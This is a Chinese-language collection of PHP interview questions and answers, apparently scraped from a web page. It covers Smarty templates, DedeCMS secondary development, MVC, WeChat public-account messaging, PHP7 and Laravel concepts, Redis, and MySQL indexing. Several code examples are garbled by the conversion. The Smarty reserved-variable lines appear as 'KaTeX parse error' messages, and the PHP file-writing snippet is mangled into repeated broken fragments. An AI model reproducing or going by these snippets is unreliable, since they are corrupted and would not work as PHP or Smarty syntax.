3、在模板中使用{$smarty}保留變量
1
2
3
{KaTeX parse error: Expected 'EOF', got '}' at position 16: smarty.get.page}? //類似在php腳本中訪問_GET[page]
{KaTeX parse error: Expected 'EOF', got '}' at position 16: smarty.cookies.}? {smarty.post.}
{KaTeX parse error: Expected 'EOF', got '}' at position 16: smarty.session.}? {smarty.server.}
在模板中訪問php中的變量
5、變量調解器
2018PHP經典面試題大全匯總(更新)-PHP面試題
6、php查詢mysql數據庫時,查詢中文結果時出現的亂碼。怎么解決?
(1)文件meta(設置瀏覽器解析的時候)
(2)連接數據庫時編碼設定
(3)PHP文件中使用header函數確定編碼
7、緩存機制
如果開啟了緩存,smarty同時生成一份靜態的html頁面,如果在設定的時間沒有過期,再次訪問的時候,你訪問的就是是html文件了,減少了讀取數據庫,所以就效率來說,要高一些。
8、smarty的賦值和載入模板
1
2
$Smarty->assign(name,value)
$Smarty->display(‘index.html’)
9、marty模板技術的用途是什么?
為了php與html分開,美工和程序員各司其職,互不干擾。
10、smarty配置主要有哪幾項?
(1)引入smarty.class.php;
(2) 實例化smarty對象;
(3)重新修改默認的模板路徑;
(4)重新修改默認的編譯后文件的路徑;
(5)重新修改默認的配置文件的路徑;
(6)重新修改默認的cache的路徑。
(7) 可以設置是否開啟cache。
(8)可以設置左側和右側定界符。
11、smarty在使用過程中需要注意哪些細節?
Smarty是基于MVC概念的一種模板引擎,它將一個頁面程序分成了兩部分來實現:即視圖層和控制層,
也就是說smarty技術將用戶UI與php代碼分離開。
這樣程序員和美工各司其職,互不干擾。
12、smarty運用過程中要注意以下幾個問題:
(1)正確配置smarty。主要要實例化smarty對象,配置smarty模板文件的路徑;
(2)php頁面中使用assign賦值 和display顯示頁面;
(3)smarty模板文件中不允許出現php代碼段,所有的注釋,變量,函數都要包含在定界符內。
六、二次開發系統(DEDE、ecshop)
1、對二次開發的理解
二次開發,簡單的說就是在現有的軟件上進行定制修改,功能的擴展,然后達到自己想要的功能,一般來說都不會改變原有系統的內核。
2、MVC
Model(模型)數據處理。
View(視圖) 模板顯示。
Controller(控制器) 控制流程。
MVC的概念是什么?各層主要做什么工作?
MVC(即模型-視圖-控制器)是一種軟件設計模式或者說編程思想。
M指Model模型層,V是View視圖層(顯示層或者用戶界面),C是Controller控制器層。
使用mvc的目的是實現M和V分離,從而使得一個程序可以輕松使用不同的用戶界面。
在網站開發中,
模型層一般負責對數據庫表信息進行增刪改查,
視圖層負責顯示頁面內容,
控制器層在M和V之間起到調節作用,控制器層決定調用哪個model類的哪個方法,
執行完畢后由控制器層決定將結果assign到哪個view層。
3、二次開發程序安裝后訪問時候出現一些警告以及錯誤
根據錯誤,來修改服務器配置參數以及百度
4、功能,模板的更換,功能的添加修改
其實也就是面向對象的應用 用,以及模板的更換類似smarty的使用
5、用過哪些二次開發的東西?
Dedecms phpcms ecshop,基本這些的東西如果基礎好了 學習起來都是沒問題的。
6、像php做一次開發好,還是二次開發好?
一般中小企業都用cms系統二次開發,都是為了效率。當然如果想一次開發也行,會用框架而且時間充足的話就可以了,大企業都是團隊來開發的,杜絕版權問題。
7、二次開發過程中很多類與類之間進行之間的方法訪問,是通過什么方式傳遞的?
不是類繼承而是對象組合,把實例化好的對象通過global傳遞進去
8、dedecms如果更換目錄,后臺某項就進不去了如何解決?
后臺核心設置中修改成現在的 項目目錄名稱
9、dedecms中自定義模型的理解?
在織夢系統中有內容模型這個概念,不同內容模型可以用來構建不同內容形式的站點,在系統中自帶了以下幾種模型:普通文章、圖集、軟件、商品、分類信息、專題。通過系統自帶的模型,我們可以用來構建不同類型的站點,例如:使用圖集可以做一個圖片站,用軟件模型構建一個軟件下載站點。
當然以上隨系統附帶的模型被稱為系統模型,用戶可以自己定義一些模型,比如圖書、音樂專輯等,自定義了這些模型才可以構建更多內容形式的站點。
相當于我們自動添加了表結構,適應現在當前需求的變化
10、dede中概念,設計和使用模板,必須要理解下面幾個概念
(1)板塊(封面)模板:
指網站主頁或比較重要的欄目封面頻道使用的模板,一般用“index_識別ID.htm”命名,此外,用戶單獨定義的單個頁面或自定義標記,也可選是否支持板塊模板標記,如果支持,系統會用板塊模板標記引擎去解析后才輸出內容或生成特定的文件。
(2)列表模板:
指網站某個欄目的所有文章列表的模板,一般用 “list_識別ID.htm” 命名。
(3) 檔案模板:
表示文檔查看頁的模板,如文章模板,一般用 “article_識別ID.htm” 命名。
(4) 其它模板:
一般系統常規包含的模板有:主頁模板、搜索模板、RSS、JS編譯功能模板等,此外用戶也可以自定義一個模板創建為任意文件。
11、dede中幾種標簽的使用?
列表 內容 等標簽 只能在其本范圍內使用,列表標簽只能在列表中使用,內容標簽只能在內容標簽中使用。
全局標簽能在所有頁面中使用
12、熟悉常用類庫
(例如:dedesql.class.php);熟悉系統函數庫(common.func.php);熟悉自定義函數庫(extend.func.php);熟悉前臺入口文件(common.inc.php)
七、微信公眾平臺開發
1、微信運行機制
公眾號與php之間用什么語言通信:Xml
Weixin.php中是如何接收公眾號數據的:
1
$postStr = $GLOBALS[“HTTP_RAW_POST_DATA”];//接收數據 XML數據
2、消息類型
微信目前提供了7種基本消息類型,分別為:
(1)文本消息(text);
(2)圖片消息(image);
(3)語音(voice)
(4)視頻(video)
(5)地理位置(location);
(6)鏈接消息(link);
(7)事件推送(event)
類型。掌握不同的消息類型發送時的數據傳遞格式
3、將整個文件讀入一個字符串的函數是
File_get_contents
4、常用函數
把xml數據解析成對象的函數是
simplexml_load_string( )
將字符串轉換為數組的函數是___ explode_________,將數組轉化為字符串的函數是____implode________.
編碼 URL 字符串的字符串是____urlencode________.
5、Sprintf函數的作用
這個都是可以查手冊的。
6、微信公眾號出現無法提供服務的原因?
(1)網絡原因 ,數據接口原因
(2)代碼錯誤,怎么推測原因
修改的哪里檢查一下,如果代碼沒錯
可以輸出數據 看一下。用php操作文件
1
2
$myfile = fopen(“newfile.txt”, “w”);
txt="aaaaaaaaaa";fwrite( txt ="aaaaaaaaaa";fwrite(txt="aaaaaaaaaa";fwrite(myfile, txt);fclose( txt);fclose(txt);fclose(myfile);
7、自定義菜單的事件推送
單擊
單擊跳轉鏈接
掃碼推事件
掃碼推且彈出
彈出系統拍照發圖的事件
彈出微信相冊發圖器的事件
彈出地理位置選擇器的事件
8、token的作用
安全機制驗證,用于微信服務器與PHP服務器之間的安全驗證
9、Appid與secrect的作用
請求api接口(例如菜單的操作)時需要傳appid與secrect兩個值,用來獲取應用的授權碼
laravle面試題
PHP7 和 PHP5 的區別,具體多了哪些新特性?
性能提升了兩倍
結合比較運算符 (<=>)
標量類型聲明
返回類型聲明
try…catch 增加多條件判斷,更多 Error 錯誤可以進行異常處理
匿名類,現在支持通過new class 來實例化一個匿名類,這可以用來替代一些“用后即焚”的完整類定義
…… 了解更多查看文章底部鏈接 PHP7 新特性
為什么 PHP7 比 PHP5 性能提升了?
變量存儲字節減小,減少內存占用,提升變量操作速度
改善數組結構,數組元素和 hash 映射表被分配在同一塊內存里,降低了內存占用、提升了 cpu 緩存命中率
改進了函數的調用機制,通過優化參數傳遞的環節,減少了一些指令,提高執行效率
laravel 模塊
服務提供者是什么?
服務提供者是所有 Laravel 應用程序引導啟動的中心, Laravel 的核心服務器、注冊服務容器綁定、事件監聽、中間件、路由注冊以及我們的應用程序都是由服務提供者引導啟動的。
IoC 容器是什么?
IoC(Inversion of Control)譯為 「控制反轉」,也被叫做「依賴注入」(DI)。什么是「控制反轉」?對象 A 功能依賴于對象 B,但是控制權由對象 A 來控制,控制權被顛倒,所以叫做「控制反轉」,而「依賴注入」是實現 IoC 的方法,就是由 IoC 容器在運行期間,動態地將某種依賴關系注入到對象之中。
其作用簡單來講就是利用依賴關系注入的方式,把復雜的應用程序分解為互相合作的對象,從而降低解決問題的復雜度,實現應用程序代碼的低耦合、高擴展。
Laravel 中的服務容器是用于管理類的依賴和執行依賴注入的工具。
Facades 是什么?
Facades(一種設計模式,通常翻譯為外觀模式)提供了一個”static”(靜態)接口去訪問注冊到 IoC 容器中的類。提供了簡單、易記的語法,而無需記住必須手動注入或配置的長長的類名。此外,由于對 PHP 動態方法的獨特用法,也使測試起來非常容易。
Contract 是什么?
Contract(契約)是 laravel 定義框架提供的核心服務的接口。Contract 和 Facades 并沒有本質意義上的區別,其作用就是使接口低耦合、更簡單。
依賴注入的原理?
這個就不解釋了吧,這是理解 IoC 容器的前提。
什么是 Composer, 工作原理是什么?
Composer 是 PHP 的一個依賴管理工具。工作原理就是將已開發好的擴展包從 packagist.org composer 倉庫下載到我們的應用程序中,并聲明依賴關系和版本控制。
緩存
Redis、Memecached 這兩者有什么區別?
Redis 支持更加豐富的數據存儲類型,String、Hash、List、Set 和 Sorted Set。Memcached 僅支持簡單的 key-value 結構。
Memcached key-value存儲比 Redis 采用 hash 結構來做 key-value 存儲的內存利用率更高。
Redis 提供了事務的功能,可以保證一系列命令的原子性
Redis 支持數據的持久化,可以將內存中的數據保持在磁盤中
Redis 只使用單核,而 Memcached 可以使用多核,所以平均每一個核上 Redis 在存儲小數據時比 Memcached 性能更高。
Redis 如何實現持久化?
RDB 持久化,將 redis 在內存中的的狀態保存到硬盤中,相當于備份數據庫狀態。
AOF 持久化(Append-Only-File),AOF 持久化是通過保存 Redis 服務器鎖執行的寫狀態來記錄數據庫的。相當于備份數據庫接收到的命令,所有被寫入 AOF 的命令都是以 redis 的協議格式來保存的。
數據庫
什么是索引,作用是什么?常見索引類型有那些?Mysql 建立索引的原則?
索引是一種特殊的文件,它們包含著對數據表里所有記錄的引用指針,相當于書本的目錄。其作用就是加快數據的檢索效率。常見索引類型有主鍵、唯一索引、復合索引、全文索引。
索引創建的原則
最左前綴原理
選擇區分度高的列作為索引
盡量的擴展索引,不要新建索引
高并發如何處理?
使用緩存
優化數據庫,提升數據庫使用效率
負載均衡
PHP 的設計模式就不多講了,但是 SOLID 設計原則是每一位 PHPer 都必須要掌握的。
*請認真填寫需求信息,我們會在24小時內與您取得聯系。